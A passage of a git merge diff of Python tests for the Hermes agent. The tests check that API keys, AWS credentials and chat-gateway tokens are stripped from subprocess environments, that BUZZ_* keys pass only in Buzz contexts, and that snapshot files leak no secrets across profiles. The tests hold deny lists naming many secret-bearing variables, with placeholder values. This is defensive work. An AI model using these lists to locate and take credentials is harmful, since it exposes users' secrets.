"/home/user/.config/gcloud/sa-key.json",- "GOOGLE_APPLICATION_CREDENTIALS": "/home/user/.config/gcloud/adc.json",- })-- assert "VERTEX_CREDENTIALS_PATH" not in result_env- assert "GOOGLE_APPLICATION_CREDENTIALS" not in result_env-- def test_general_aws_credential_chain_is_preserved(self):- """The GENERAL AWS credential chain must STILL pass through to- subprocesses — this is the no-regression guard for #32314.-- Per SECURITY.md §3.2 the local terminal is the user's trusted operator- shell. A user running ``aws``/``terraform``/``cdk``/``boto3`` in the- agent terminal must keep the same AWS access their own shell has.- Stripping these would (a) break every user who does AWS work in the- agent terminal — not just Bedrock users, since the registry is iterated- unconditionally — and (b) be unrecoverable, because env_passthrough.py- refuses to re-allow anything in _HERMES_PROVIDER_ENV_BLOCKLIST- (GHSA-rhgp-j443-p4rf). Only the Bedrock inference bearer token is- Hermes-managed; the rest belongs to the user.- """- general_chain = {- "AWS_ACCESS_KEY_ID": "AKIAIOSFODNN7EXAMPLE",- "AWS_SECRET_ACCESS_KEY": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",- "AWS_SESSION_TOKEN": "session-token",- "AWS_PROFILE": "production",- "AWS_DEFAULT_REGION": "us-east-1",- "AWS_REGION": "us-east-1",- "AWS_SHARED_CREDENTIALS_FILE": "/home/user/.aws/credentials",- "AWS_CONFIG_FILE": "/home/user/.aws/config",- "AWS_WEB_IDENTITY_TOKEN_FILE": "/var/run/secrets/token",- "AWS_ROLE_ARN": "arn:aws:iam::123456789012:role/example",- }- result_env = _run_with_env(extra_os_env=general_chain)-- for var, value in general_chain.items():- assert result_env.get(var) == value, (- f"{var} was stripped from subprocess env — this is a "- f"capability regression (see #32314 discussion)"- )-- def test_non_registry_provider_vars_are_stripped(self):- """Extra provider vars not in PROVIDER_REGISTRY must also be blocked."""- extra_provider_vars = {- "GOOGLE_API_KEY": "google-key",- "MISTRAL_API_KEY": "mistral-key",- "GROQ_API_KEY": "groq-key",- "TOGETHER_API_KEY": "together-key",- "PERPLEXITY_API_KEY": "perplexity-key",- "COHERE_API_KEY": "cohere-key",- "FIREWORKS_API_KEY": "fireworks-key",- "XAI_API_KEY": "xai-key",- "HELICONE_API_KEY": "helicone-key",- }- result_env = _run_with_env(extra_os_env=extra_provider_vars)-- for var in extra_provider_vars:- assert var not in result_env, f"{var} leaked into subprocess env"-- def test_tool_and_gateway_vars_are_stripped(self):- """Tool and gateway secrets/config must not leak into subprocess env."""- leaked_vars = {- "TELEGRAM_BOT_TOKEN": "bot-token",- "TELEGRAM_HOME_CHANNEL": "12345",- "DISCORD_HOME_CHANNEL": "67890",- "SLACK_APP_TOKEN": "xapp-secret",- "WHATSAPP_ALLOWED_USERS": "+15555550123",- "SIGNAL_ACCOUNT": "+15555550124",- "HASS_TOKEN": "ha-secret",- "EMAIL_PASSWORD": "email-secret",- "FIRECRAWL_API_KEY": "fc-secret",- "HERMES_DASHBOARD_SESSION_TOKEN": "dashboard-session-secret",- "BROWSERBASE_PROJECT_ID": "bb-project",- "ELEVENLABS_API_KEY": "el-secret",- "GITHUB_TOKEN": "ghp_secret",- "GH_TOKEN": "gh_alias_secret",- "GATEWAY_ALLOW_ALL_USERS": "true",- "GATEWAY_ALLOWED_USERS": "alice,bob",- "MODAL_TOKEN_ID": "modal-id",- "MODAL_TOKEN_SECRET": "modal-secret",- "DAYTONA_API_KEY": "daytona-key",- "VERCEL_OIDC_TOKEN": "vercel-oidc-token",- "VERCEL_TOKEN": "vercel-token",- "VERCEL_PROJECT_ID": "vercel-project",- "VERCEL_TEAM_ID": "vercel-team",- }- result_env = _run_with_env(extra_os_env=leaked_vars)-- for var in leaked_vars:- assert var not in result_env, f"{var} leaked into subprocess env"-- def test_safe_vars_are_preserved(self):- """Standard env vars (PATH, HOME, USER) must still be passed through."""- result_env = _run_with_env()-- assert "HOME" in result_env- assert result_env["HOME"] == "/home/user"- assert "USER" in result_env- assert "PATH" in result_env-- def test_bare_hermes_resolves_from_sanitized_subprocess_path(self):- """Cron children can resolve Hermes even when the gateway PATH cannot."""- from tools.environments.local import _sanitize_subprocess_env-- with patch(- "tools.environments.local._resolve_hermes_bin_dir",- return_value="/home/user/.local/bin",- ):- result = _sanitize_subprocess_env(- {- "PATH": os.pathsep.join(["/usr/bin", "/bin"]),- "HOME": "/home/user",- }- )-- assert result["PATH"] == os.pathsep.join(- ["/home/user/.local/bin", "/usr/bin", "/bin"]- )-- def test_bare_hermes_path_does_not_duplicate_existing_install_dir(self):- """The PATH repair is idempotent for already-correct environments."""- from tools.environments.local import _sanitize_subprocess_env-- with patch(- "tools.environments.local._resolve_hermes_bin_dir",- return_value="/home/user/.local/bin",- ):- result = _sanitize_subprocess_env(- {"PATH": os.pathsep.join(["/home/user/.local/bin", "/usr/bin"])}- )-- assert result["PATH"] == os.pathsep.join(- ["/home/user/.local/bin", "/usr/bin"]- )-- def test_self_env_blocked_vars_also_stripped(self):- """Blocked vars in self.env are stripped; non-blocked vars pass through."""- result_env = _run_with_env(self_env={- "OPENAI_BASE_URL": "http://custom:9999/v1",- "MY_CUSTOM_VAR": "keep-this",- })-- assert "OPENAI_BASE_URL" not in result_env- assert "MY_CUSTOM_VAR" in result_env- assert result_env["MY_CUSTOM_VAR"] == "keep-this"---class TestTerminalFirstPartyPlatformEnv:- """BUZZ_* first-party platform credentials must reach terminal children —- but ONLY in a Buzz agent context.-- Issue #78026: Buzz platform agents could not use the ``buzz`` CLI from the- terminal tool because BUZZ_PRIVATE_KEY / BUZZ_AUTH_TAG / BUZZ_RELAY_URL- (and the other BUZZ_* vars) are stripped by _HERMES_PROVIDER_ENV_BLOCKLIST- and env_passthrough refuses to re-allow them (GHSA-rhgp-j443-p4rf).-- The carve-out is TERMINAL-ONLY and CONTEXT-GATED: it applies when the- process is a Buzz-ACP managed agent (BUZZ_MANAGED_AGENT set by the- buzz-acp harness, #76243) or the live session's platform is ``buzz``.- Foreground (_make_run_env) and background/PTY (_sanitize_subprocess_env)- children then get the BUZZ_* vars; execute_code, hermes_subprocess_env,- docker, and env_passthrough registration stay sealed, and non-Buzz- sessions/processes keep stripping the vars. The blocklist itself is NOT- modified.- """-- def test_make_run_env_preserves_buzz_vars(self):- """Foreground terminal children get the BUZZ_* credentials when the- process is a Buzz-managed agent (BUZZ_MANAGED_AGENT set)."""- from tools.environments.local import _make_run_env-- buzz_vars = {- "BUZZ_PRIVATE_KEY": "nsec1faketestkey",- "BUZZ_AUTH_TAG": '["tag","data","kind","sig"]',- "BUZZ_RELAY_URL": "https://mycommunity.communities.buzz.xyz",- }- with patch.dict(- os.environ,- {**buzz_vars, "BUZZ_MANAGED_AGENT": "1", "PATH": "/usr/bin:/bin"},- clear=True,- ):- run_env = _make_run_env({})-- for var, value in buzz_vars.items():- assert run_env.get(var) == value, (- f"{var} missing from foreground terminal env (issue #78026)"- )-- def test_sanitize_subprocess_env_preserves_buzz_vars(self, monkeypatch):- """Background/PTY terminal children get the BUZZ_* credentials when- the process is a Buzz-managed agent."""- from tools.environments.local import _sanitize_subprocess_env-- monkeypatch.setenv("BUZZ_MANAGED_AGENT", "1")- buzz_vars = {- "BUZZ_PRIVATE_KEY": "nsec1faketestkey",- "BUZZ_AUTH_TAG": '["tag","data","kind","sig"]',- "BUZZ_RELAY_URL": "https://mycommunity.communities.buzz.xyz",- }- result = _sanitize_subprocess_env({**buzz_vars, "HOME": "/home/user"})-- for var, value in buzz_vars.items():- assert result.get(var) == value, (- f"{var} missing from background/PTY terminal env (issue #78026)"- )-- def test_buzz_vars_stripped_without_buzz_context(self, monkeypatch):- """NEGATIVE gate: with no Buzz context signal (no BUZZ_MANAGED_AGENT,- session platform not buzz), the BUZZ_* credentials stay stripped from- BOTH terminal scrub paths — a Telegram/CLI/cron session on a host that- also runs a Buzz gateway must not see BUZZ_PRIVATE_KEY."""- from gateway.session_context import _SESSION_PLATFORM- from tools.environments.local import _make_run_env, _sanitize_subprocess_env-- monkeypatch.delenv("BUZZ_MANAGED_AGENT", raising=False)- monkeypatch.delenv("HERMES_SESSION_PLATFORM", raising=False)- buzz_vars = {- "BUZZ_PRIVATE_KEY": "nsec1faketestkey",- "BUZZ_AUTH_TAG": '["tag","data","kind","sig"]',- "BUZZ_RELAY_URL": "https://mycommunity.communities.buzz.xyz",- }- for var, value in buzz_vars.items():- monkeypatch.setenv(var, value)- # Bind a non-buzz session platform (ContextVar-authoritative).- token = _SESSION_PLATFORM.set("telegram")- try:- run_env = _make_run_env({})- sanitized = _sanitize_subprocess_env({**buzz_vars, "HOME": "/home/user"})- finally:- _SESSION_PLATFORM.reset(token)-- for var in buzz_vars:- assert var not in run_env, f"{var} leaked into non-Buzz foreground env"- assert var not in sanitized, f"{var} leaked into non-Buzz background env"-- def test_session_platform_buzz_enables_carveout(self, monkeypatch):- """A live gateway session whose platform is ``buzz`` gets the- carve-out even without BUZZ_MANAGED_AGENT (native buzz gateway- plugin path), via the concurrency-safe session ContextVar."""- from gateway.session_context import _SESSION_PLATFORM- from tools.environments.local import _make_run_env, _sanitize_subprocess_env-- monkeypatch.delenv("BUZZ_MANAGED_AGENT", raising=False)- monkeypatch.setenv("BUZZ_PRIVATE_KEY", "nsec1faketestkey")- token = _SESSION_PLATFORM.set("buzz")- try:- run_env = _make_run_env({})- sanitized = _sanitize_subprocess_env(- {"BUZZ_PRIVATE_KEY": "nsec1faketestkey", "HOME": "/home/user"}- )- finally:- _SESSION_PLATFORM.reset(token)-- assert run_env.get("BUZZ_PRIVATE_KEY") == "nsec1faketestkey"- assert sanitized.get("BUZZ_PRIVATE_KEY") == "nsec1faketestkey"-- def test_buzz_vars_stay_in_blocklist(self):- """The carve-out is a scrub-path exemption, NOT a blocklist removal —- BUZZ_* must remain blocked for every non-terminal surface (execute_code,- hermes_subprocess_env, env_passthrough registration)."""- assert {"BUZZ_PRIVATE_KEY", "BUZZ_AUTH_TAG", "BUZZ_RELAY_URL"} <= \- _HERMES_PROVIDER_ENV_BLOCKLIST-- def test_buzz_vars_use_plain_value_under_multiplex_without_scope(self, monkeypatch):- """First-party platform vars are the process's own env values: with- multiplex active and NO profile secret scope installed, the terminal- scrub paths must forward the plain env value — NOT raise- UnscopedSecretError (the fail-closed regression where the webhook-- filter script runner crashed instead of running without the var)."""- from agent import secret_scope as ss- from tools.environments.local import _make_run_env, _sanitize_subprocess_env-- monkeypatch.setenv("BUZZ_MANAGED_AGENT", "1")- monkeypatch.setenv("BUZZ_PRIVATE_KEY", "nsec-plain-value")- monkeypatch.setenv("PATH", "/usr/bin:/bin")- ss.set_multiplex_active(True)- try:- run_env = _make_run_env({})- sanitized = _sanitize_subprocess_env(- {"BUZZ_PRIVATE_KEY": "nsec-plain-value", "HOME": "/home/user"}- )- finally:- ss.set_multiplex_active(False)-- assert run_env["BUZZ_PRIVATE_KEY"] == "nsec-plain-value"- assert sanitized["BUZZ_PRIVATE_KEY"] == "nsec-plain-value"-- def test_buzz_vars_are_not_scope_resolved(self, monkeypatch):- """First-party matches bypass the profile secret scope: a scope value- for BUZZ_PRIVATE_KEY must NOT override the process env value — only- skill/config passthrough names are scope-resolved."""- from agent import secret_scope as ss- from tools.environments.local import _make_run_env, _sanitize_subprocess_env-+ before = dict(os.environ)+ actual = observe_child(factories[builder](), ["VIRTUAL_ENV", "CONDA_PREFIX", "PYTHONHOME", "PYTHONPATH", "HOME"])+ assert actual == {"VIRTUAL_ENV": None, "CONDA_PREFIX": None, "PYTHONHOME": None,+ "PYTHONPATH": user_path, "HOME": str(child_env)}+ assert dict(os.environ) == before++[email protected]("builder,base_force,extra_force", [+ ("foreground", "base-forced", "extra-forced"),+ ("background", None, "extra-forced"),+ ("factory", None, "extra-forced"),+ ("nonterminal", None, None),+])+def test_force_prefix_is_not_plugin_passthrough(child_env, monkeypatch, builder, base_force, extra_force):+ from tools.env_passthrough import register_env_passthrough, is_env_passthrough+ register_env_passthrough(["OPENAI_API_KEY", "AUXILIARY_VISION_API_KEY", "SERVICE_TOKEN"])+ assert not is_env_passthrough("OPENAI_API_KEY")+ assert not is_env_passthrough("AUXILIARY_VISION_API_KEY")+ assert is_env_passthrough("SERVICE_TOKEN")+ monkeypatch.setenv("OPENAI_API_KEY", "fake-parent")+ monkeypatch.setenv("_HERMES_FORCE_OPENAI_API_KEY", "base-forced")+ extra = {"_HERMES_FORCE_OPENAI_BASE_URL": "extra-forced",+ "_HERMES_FORCE_AUXILIARY_VISION_API_KEY": "never-forward",+ "AUXILIARY_VISION_API_KEY": "never-forward", "MY_CUSTOM_VAR": "caller-value"}+ factories = {+ "foreground": lambda: local._make_run_env(extra),+ "background": lambda: local._sanitize_subprocess_env(dict(os.environ), extra),+ "factory": lambda: local.build_subprocess_env(extra=extra),+ "nonterminal": lambda: local.hermes_subprocess_env(base_env={**os.environ, **extra}),+ }+ result = factories[builder]()+ assert result.get("OPENAI_API_KEY") == base_force+ assert result.get("OPENAI_BASE_URL") == extra_force+ assert result["MY_CUSTOM_VAR"] == "caller-value"+ assert "AUXILIARY_VISION_API_KEY" not in result+ assert not any(k.startswith("_HERMES_FORCE_") for k in result)+ # Even a buggy plugin hook cannot bypass dynamic-secret exclusion.+ with patch("tools.env_passthrough.is_env_passthrough", return_value=True):+ assert "AUXILIARY_VISION_API_KEY" not in factories[builder]()++[email protected]("managed,platform,allowed", [(True, "telegram", True), (False, "buzz", True), (False, "telegram", False)])[email protected]("scope", [None, {"BUZZ_PRIVATE_KEY": "fake-scoped"}])+def test_buzz_context_and_plain_process_value(child_env, monkeypatch, managed, platform, allowed, scope):+ from agent import secret_scope as ss+ from gateway.session_context import _SESSION_PLATFORM+ from tools.code_execution_env import _scrub_child_env+ from tools.env_passthrough import register_env_passthrough, is_env_passthrough+ buzz = {"BUZZ_PRIVATE_KEY": "fake-process", "BUZZ_AUTH_TAG": "fake-tag", "BUZZ_RELAY_URL": "fake-relay"}+ for k, v in buzz.items():+ monkeypatch.setenv(k, v)+ if managed:monkeypatch.setenv("BUZZ_MANAGED_AGENT", "1")- monkeypatch.setenv("BUZZ_PRIVATE_KEY", "nsec-process-env")- monkeypatch.setenv("PATH", "/usr/bin:/bin")- ss.set_multiplex_active(True)- token = ss.set_secret_scope({"BUZZ_PRIVATE_KEY": "nsec-scoped"})- try:- run_env = _make_run_env({})- sanitized = _sanitize_subprocess_env(- {"BUZZ_PRIVATE_KEY": "nsec-process-env", "HOME": "/home/user"}- )- finally:- ss.reset_secret_scope(token)- ss.set_multiplex_active(False)-- assert run_env["BUZZ_PRIVATE_KEY"] == "nsec-process-env"- assert sanitized["BUZZ_PRIVATE_KEY"] == "nsec-process-env"---class TestTerminalFirstPartySnapshotIsolation:- """BUZZ_* first-party vars must not persist in the shared terminal- snapshot — a cross-profile leak under a multiplexed gateway.-- The terminal login-shell snapshot (init_session ``export -p`` dump and the- per-command re-dump) captures the child env, which now includes- BUZZ_PRIVATE_KEY. The exclusion set is derived from get_all_passthrough()- plus backend-specific additions — and BUZZ_* can never be in it, because- env_passthrough refuses blocklisted names (GHSA-rhgp-j443-p4rf). Without- an exclusion, profile A's BUZZ_PRIVATE_KEY lands in hermes-snap-<id>.sh- and profile B's later command on the same collapsed LocalEnvironment- sources it. Fix: LocalEnvironment treats first-party terminal env names- like profile-scoped passthrough names — excluded from the dump and- save/restored per command.- """-- def test_snapshot_exclusion_set_includes_first_party_names(self, monkeypatch):- """Under multiplex, BUZZ_* names present in the env are added to the- snapshot exclusion set, so the dump excludes them and _wrap_command- save/restores them per command."""- from agent import secret_scope as ss- from tools.environments.local import LocalEnvironment-- monkeypatch.setenv("BUZZ_PRIVATE_KEY", "nsec-profile-a")- env = LocalEnvironment.__new__(LocalEnvironment)- env.env = {}- env._snapshot_passthrough_names = set()- ss.set_multiplex_active(True)- try:- excluded = env._snapshot_excluded_passthrough_names()- finally:- ss.set_multiplex_active(False)-- assert "BUZZ_PRIVATE_KEY" in excluded- # The set is monotonic for the environment lifetime: the name stays- # excluded (and unset-guarded per command) even once it leaves the env.+ platform_token = _SESSION_PLATFORM.set(platform)+ ss.set_multiplex_active(True)+ scope_token = ss.set_secret_scope(scope) if scope is not None else None+ try:+ register_env_passthrough(buzz)+ assert not any(is_env_passthrough(k) for k in buzz)+ for result in (local._make_run_env({}), local._sanitize_subprocess_env(dict(os.environ))):+ assert {k: result.get(k) for k in buzz} == (buzz if allowed else dict.fromkeys(buzz))+ for result in (local.hermes_subprocess_env(), _scrub_child_env(os.environ)):+ assert not set(buzz) & result.keys()+ finally:+ if scope_token is not None:+ ss.reset_secret_scope(scope_token)+ ss.set_multiplex_active(False)+ _SESSION_PLATFORM.reset(platform_token)++[email protected]("linux", "macos", "windows")[email protected]("first_platform,first_value", [("buzz", "fake-profile-a"), ("telegram", None)], ids=["buzz", "other"])+def test_buzz_secret_never_reaches_second_profile_via_snapshot(child_env, monkeypatch, first_platform, first_value):+ from agent import secret_scope as ss+ from gateway.session_context import _SESSION_PLATFORM+ monkeypatch.setenv("BUZZ_PRIVATE_KEY", "fake-profile-a")+ ss.set_multiplex_active(True)+ platform = _SESSION_PLATFORM.set(first_platform)+ env = None+ try:+ env = local.LocalEnvironment(cwd=str(child_env), timeout=30)+ snap = Path(env._snapshot_path)+ assert snap.exists()+ assert "BUZZ_PRIVATE_KEY" not in snap.read_text(encoding="utf-8")+ assert observe_terminal(env, ["BUZZ_PRIVATE_KEY"]) == {"BUZZ_PRIVATE_KEY": first_value}+ assert "fake-profile-a" not in snap.read_text(encoding="utf-8")+ monkeypatch.delenv("BUZZ_PRIVATE_KEY")+ _SESSION_PLATFORM.reset(platform)+ platform = _SESSION_PLATFORM.set("telegram")+ assert observe_terminal(env, ["BUZZ_PRIVATE_KEY"]) == {"BUZZ_PRIVATE_KEY": None}assert "BUZZ_PRIVATE_KEY" in env._snapshot_passthrough_names-- def test_buzz_secret_never_reaches_second_profile_via_snapshot(self, monkeypatch, tmp_path):- """Multiplex regression, end-to-end with real bash: (a) the snapshot- file never contains profile A's BUZZ_PRIVATE_KEY, and (b) profile B- sharing the same LocalEnvironment does not see profile A's- BUZZ_PRIVATE_KEY in its terminal env."""- import shutil- if not shutil.which("bash"):- pytest.skip("bash required")-- from agent import secret_scope as ss- from tools.environments.local import LocalEnvironment-- monkeypatch.setenv("BUZZ_PRIVATE_KEY", "nsec-profile-a")- ss.set_multiplex_active(True)- env = LocalEnvironment(cwd=str(tmp_path), timeout=30)- try:- # Profile A's command re-dumps the snapshot; the exclusion must- # keep BUZZ_PRIVATE_KEY out of BOTH the initial dump and the- # per-command re-dump.- env.execute("true")-- snap = Path(env._snapshot_path)- assert snap.exists()- snap_text = snap.read_text(encoding="utf-8", errors="replace")- assert "nsec-profile-a" not in snap_text- assert "BUZZ_PRIVATE_KEY" not in snap_text-- # Profile B: no BUZZ_PRIVATE_KEY in its env, same LocalEnvironment- # (same snapshot file). It must not see profile A's value.- monkeypatch.delenv("BUZZ_PRIVATE_KEY")- result = env.execute("printf '%s' \"${BUZZ_PRIVATE_KEY-unset}\"")- assert "nsec-profile-a" not in result["output"]- assert "unset" in result["output"]- finally:+ assert "BUZZ_PRIVATE_KEY" not in snap.read_text(encoding="utf-8")+ finally:+ if env is not None:env.cleanup()- ss.set_multiplex_active(False)---class TestForceEnvOptIn:- """Callers can opt in to passing a blocked var via _HERMES_FORCE_ prefix."""-- def test_force_prefix_passes_blocked_var(self):- """_HERMES_FORCE_OPENAI_API_KEY in self.env should inject OPENAI_API_KEY."""- result_env = _run_with_env(self_env={- f"{_HERMES_PROVIDER_ENV_FORCE_PREFIX}OPENAI_API_KEY": "sk-explicit",- })-- assert "OPENAI_API_KEY" in result_env- assert result_env["OPENAI_API_KEY"] == "sk-explicit"- # The force-prefixed key itself must not appear- assert f"{_HERMES_PROVIDER_ENV_FORCE_PREFIX}OPENAI_API_KEY" not in result_env-- def test_force_prefix_overrides_os_environ_block(self):- """Force-prefix in self.env wins even when os.environ has the blocked var."""- result_env = _run_with_env(- extra_os_env={"OPENAI_BASE_URL": "http://leaked/v1"},- self_env={f"{_HERMES_PROVIDER_ENV_FORCE_PREFIX}OPENAI_BASE_URL": "http://intended/v1"},- )-- assert result_env["OPENAI_BASE_URL"] == "http://intended/v1"---class TestActiveVenvMarkerStripping:- """Active-virtualenv markers must not leak into terminal subprocesses (#23473).-- The gateway runs inside its own venv, so its process environment carries- VIRTUAL_ENV (and possibly CONDA_PREFIX). If those leak into commands the- agent runs against ANOTHER Python project, ``uv``/``poetry`` treat the- inherited value as the active environment and build that project's deps- into the Hermes venv path instead of the project's own ``.venv`` —- silently clobbering the Hermes environment (and, when the other project- pins a different Python, breaking the gateway outright). The Hermes venv- stays reachable via PATH, so stripping the markers is safe.- """-- def test_virtualenv_marker_stripped_end_to_end(self):- result_env = _run_with_env(extra_os_env={- "VIRTUAL_ENV": "/home/user/.hermes/hermes-agent/venv",- })- assert "VIRTUAL_ENV" not in result_env-- def test_conda_prefix_marker_stripped_end_to_end(self):- result_env = _run_with_env(extra_os_env={- "CONDA_PREFIX": "/opt/conda/envs/hermes",- })- assert "CONDA_PREFIX" not in result_env-- def test_make_run_env_strips_markers(self):- from tools.environments.local import _make_run_env- poison = {"VIRTUAL_ENV": "/venv", "CONDA_PREFIX": "/conda", "PATH": "/usr/bin"}- with patch.dict(os.environ, poison, clear=True):- result = _make_run_env({})- assert "VIRTUAL_ENV" not in result- assert "CONDA_PREFIX" not in result-- def test_sanitize_subprocess_env_strips_markers(self):- from tools.environments.local import _sanitize_subprocess_env- base = {"VIRTUAL_ENV": "/venv", "CONDA_PREFIX": "/conda", "HOME": "/home/user"}- # Even an explicitly-passed extra marker is stripped.- result = _sanitize_subprocess_env(base, {"VIRTUAL_ENV": "/also/venv"})- assert "VIRTUAL_ENV" not in result- assert "CONDA_PREFIX" not in result- assert result.get("HOME") == "/home/user"-- def test_markers_constant_contents(self):- from tools.environments.local_env_policy import _ACTIVE_VENV_MARKER_VARS- assert "VIRTUAL_ENV" in _ACTIVE_VENV_MARKER_VARS- assert "CONDA_PREFIX" in _ACTIVE_VENV_MARKER_VARS+ _SESSION_PLATFORM.reset(platform)+ ss.set_multiplex_active(False)++[email protected]("scoped,expected", [({"SERVICE_TOKEN": "fake-routed"}, "fake-routed"), ({}, None)])+def test_profile_passthrough_in_terminal_child(child_env, monkeypatch, scoped, expected):+ from agent import secret_scope as ss+ from tools.env_passthrough import register_env_passthrough+ register_env_passthrough(["SERVICE_TOKEN"])+ monkeypatch.setenv("SERVICE_TOKEN", "fake-default")+ ss.set_multiplex_active(True)+ token = ss.set_secret_scope(scoped)+ env = None+ try:+ env = local.LocalEnvironment(cwd=str(child_env), timeout=30)+ assert observe_terminal(env, ["SERVICE_TOKEN"]) == {"SERVICE_TOKEN": expected}+ result = local._sanitize_subprocess_env(dict(os.environ))+ assert result.get("SERVICE_TOKEN") == expected+ finally:+ if env is not None:+ env.cleanup()+ ss.reset_secret_scope(token)+ ss.set_multiplex_active(False)++[email protected]("entries,expected", [+ (["SITE", "/user/lib"], ["/user/lib"]),+ (["REPO", "/user/lib"], ["/user/lib"]),+ (["SITE", "/user/lib", "SITE", "/user/lib"], ["/user/lib", "/user/lib"]),+ (["SITE", "REPO"], None),+ (["/first", "REPO", "", "SITE", "/last"], ["/first", "", "/last"]),+ ([" /opt/user-lib ", "relative/../lib", "", "/opt/user-lib", "/opt/user-lib"],+ [" /opt/user-lib ", "relative/../lib", "", "/opt/user-lib", "/opt/user-lib"]),+ (["/nix/store/user-plugin/lib/python3.12/site-packages", "/old/lib/python2.7/site-packages"],+ ["/nix/store/user-plugin/lib/python3.12/site-packages", "/old/lib/python2.7/site-packages"]),+ (["/opt/tools/python3.13/bin", "/opt/downloads/python3.13", "/custom/python3.13"],+ ["/opt/tools/python3.13/bin", "/opt/downloads/python3.13", "/custom/python3.13"]),+ ([""], [""]),+ (None, None),+])+def test_pythonpath_literal_policy(entries, expected):+ locations = {"REPO": str(Path(__file__).resolve().parents[2]), "SITE": str(_running_site())}+ env = {} if entries is None else {"PYTHONPATH": os.pathsep.join(locations.get(p, p) for p in entries)}+ pp._strip_hermes_owned_pythonpath(env)+ assert env.get("PYTHONPATH") == (os.pathsep.join(expected) if expected is not None else None)+++def test_pythonpath_descendants_are_not_owned():+ repo, site = Path(__file__).resolve().parents[2], _running_site()+ entries = [str(site / "user-path"), str(repo / "tools"), str(repo / "tools/environments"),+ "/opt/other-venv/lib/python3.99/site-packages"]+ env = {"PYTHONPATH": os.pathsep.join(entries)}+ pp._strip_hermes_owned_pythonpath(env)+ assert env["PYTHONPATH"].split(os.pathsep) == entries++[email protected]("linux", "macos", "windows")[email protected]("link_at", ["home", "repo", "unrelated"])[email protected]("profile", [False, True])+def test_launcher_alias_provenance(child_env, monkeypatch, link_at, profile):+ from hermes_cli.gateway_windows import _preserve_hermes_home_path+ from hermes_cli.profiles import resolve_profile_env+ physical_home = child_env / "physical-home"+ physical_root = physical_home / "hermes-agent"+ physical_root.mkdir(parents=True)+ configured = child_env / "configured-home"+ if link_at == "home":+ _make_directory_link(configured, physical_home)+ else:+ configured.mkdir()+ if link_at == "repo":+ _make_directory_link(configured / "hermes-agent", physical_root)+ else:+ (configured / "hermes-agent").mkdir()+ (configured / "profiles/coder").mkdir(parents=True)++ (configured / "profiles/coder/config.yaml").write_text("{}\n", encoding="utf-8")+ unrelated = child_env / "user-tools/hermes-agent"+ unrelated.mkdir(parents=True)+ lexical_root = configured / "hermes-agent"+ monkeypatch.setenv("HERMES_HOME", str(configured))+ assert Path(resolve_profile_env("default")) == configured+ assert Path(resolve_profile_env("coder")) == configured / "profiles/coder"+ if link_at == "home":+ assert Path(_preserve_hermes_home_path(physical_root)) == lexical_root+ active_home = configured / "profiles/coder" if profile else configured+ aliases = pp._build_hermes_repo_root_aliases(physical_root.resolve(), physical_root, active_home)+ monkeypatch.setattr(local, "_hermes_repo_root_aliases", aliases)+ nested = lexical_root / "user-data"+ entries = [str(lexical_root), str(nested), str(unrelated), str(active_home / "not-the-repo")]+ env = {"PYTHONPATH": os.pathsep.join(entries)}+ pp._strip_hermes_owned_pythonpath(env)+ assert env["PYTHONPATH"].split(os.pathsep) == (entries if link_at == "unrelated" else entries[1:])+ if profile:+ assert active_home / "hermes-agent" not in aliases++[email protected]("has_facts", [True, False])+def test_runtime_provenance_is_independent_of_aliases_and_virtual_env(child_env, monkeypatch, has_facts):+ from hermes_cli.runtime_paths import runtime_facts_path+ payload = child_env / "payload"+ runtime = payload / "state/environments/candidate/venv"+ site = runtime / ("Lib/site-packages" if os.name == "nt" else+ f"lib/python{sys.version_info.major}.{sys.version_info.minor}/site-packages")+ site.mkdir(parents=True)+ (runtime / "pyvenv.cfg").write_text("version = 3.14\n", encoding="utf-8")+ (payload / "tools").mkdir()+ (payload / "manifest.json").write_text("{}", encoding="utf-8")+ monkeypatch.setattr("hermes_cli.runtime_paths.install_state_dir", lambda repo: payload / "state")+ if has_facts:+ facts = runtime_facts_path(Path(__file__).resolve().parents[2])+ facts.parent.mkdir(parents=True, exist_ok=True)+ facts.write_text(json.dumps({"packages": {"venv": {"environment": str(runtime)}}}), encoding="utf-8")+ monkeypatch.setattr(local, "_in_venv", False)+ monkeypatch.setattr(local, "_hermes_site_packages", None)+ alias = child_env / "unrelated-repo-alias"+ monkeypatch.setattr(local, "_hermes_repo_root_aliases", (alias,))+ user_venv = child_env / "user-venv"+ user_site = user_venv / "Lib/site-packages"+ user_site.mkdir(parents=True)+ (user_venv / "pyvenv.cfg").write_text("version = 3.13\n", encoding="utf-8")+ base = {"VIRTUAL_ENV": str(user_venv), "PYTHONPATH": os.pathsep.join(map(str, [site, alias, user_site]))}+ result = local._sanitize_subprocess_env(base)+ expected = [str(user_site)] if has_facts else [str(site), str(user_site)]+ assert result["PYTHONPATH"].split(os.pathsep) == expected+ assert "VIRTUAL_ENV" not in result+ assert base["VIRTUAL_ENV"] == str(user_venv)++[email protected]("existing,expected", [+ (["/usr/bin", "/bin"], ["/opt/hermes/bin", "/usr/bin", "/bin"]),+ (["/usr/bin", "/opt/hermes/bin"], ["/usr/bin", "/opt/hermes/bin"]),+])+def test_background_hermes_path_repair_is_idempotent(child_env, monkeypatch, existing, expected):+ monkeypatch.setattr(local, "_HERMES_BIN_DIR", "/opt/hermes/bin")+ result = local._sanitize_subprocess_env({"PATH": os.pathsep.join(existing)})+ assert result["PATH"].split(os.pathsep) == expected+ assert local._sanitize_subprocess_env(result)["PATH"] == result["PATH"]+++def test_hermes_bin_resolution_and_unresolved_noop(child_env, monkeypatch):+ bin_dir = child_env / "bin"+ bin_dir.mkdir()+ monkeypatch.setattr(local, "_HERMES_BIN_DIR", local._SENTINEL)+ monkeypatch.setattr(local.shutil, "which", lambda name: str(bin_dir / "hermes") if name == "hermes" else None)+ assert local._resolve_hermes_bin_dir() == str(bin_dir)+ monkeypatch.setattr(local, "_HERMES_BIN_DIR", None)+ assert local._prepend_hermes_bin_dir("/usr/bin") == "/usr/bin"++[email protected]("posix")+def test_foreground_minimal_path_preserves_operator_precedence(child_env, monkeypatch):+ monkeypatch.setattr(local, "_HERMES_BIN_DIR", "/opt/hermes/bin")+ monkeypatch.setenv("PATH", "/custom/bin:/custom/bin::/usr/bin")+ result = local._make_run_env({})["PATH"].split(":")+ assert result[:3] == ["/opt/hermes/bin", "/custom/bin", "/usr/bin"]+ assert "/opt/homebrew/bin" in result and "/opt/homebrew/sbin" in result+ assert "" not in result+ assert result.count("/custom/bin") == 1def _make_directory_link(link: Path, target: Path) -> None:diff --cc tests/tools/test_process_registry.pyindex 79ed57fa172,6703c313932..304ab36848a--- a/tests/tools/test_process_registry.py+++ b/tests/tools/test_process_registry.py@@@ -2499,7 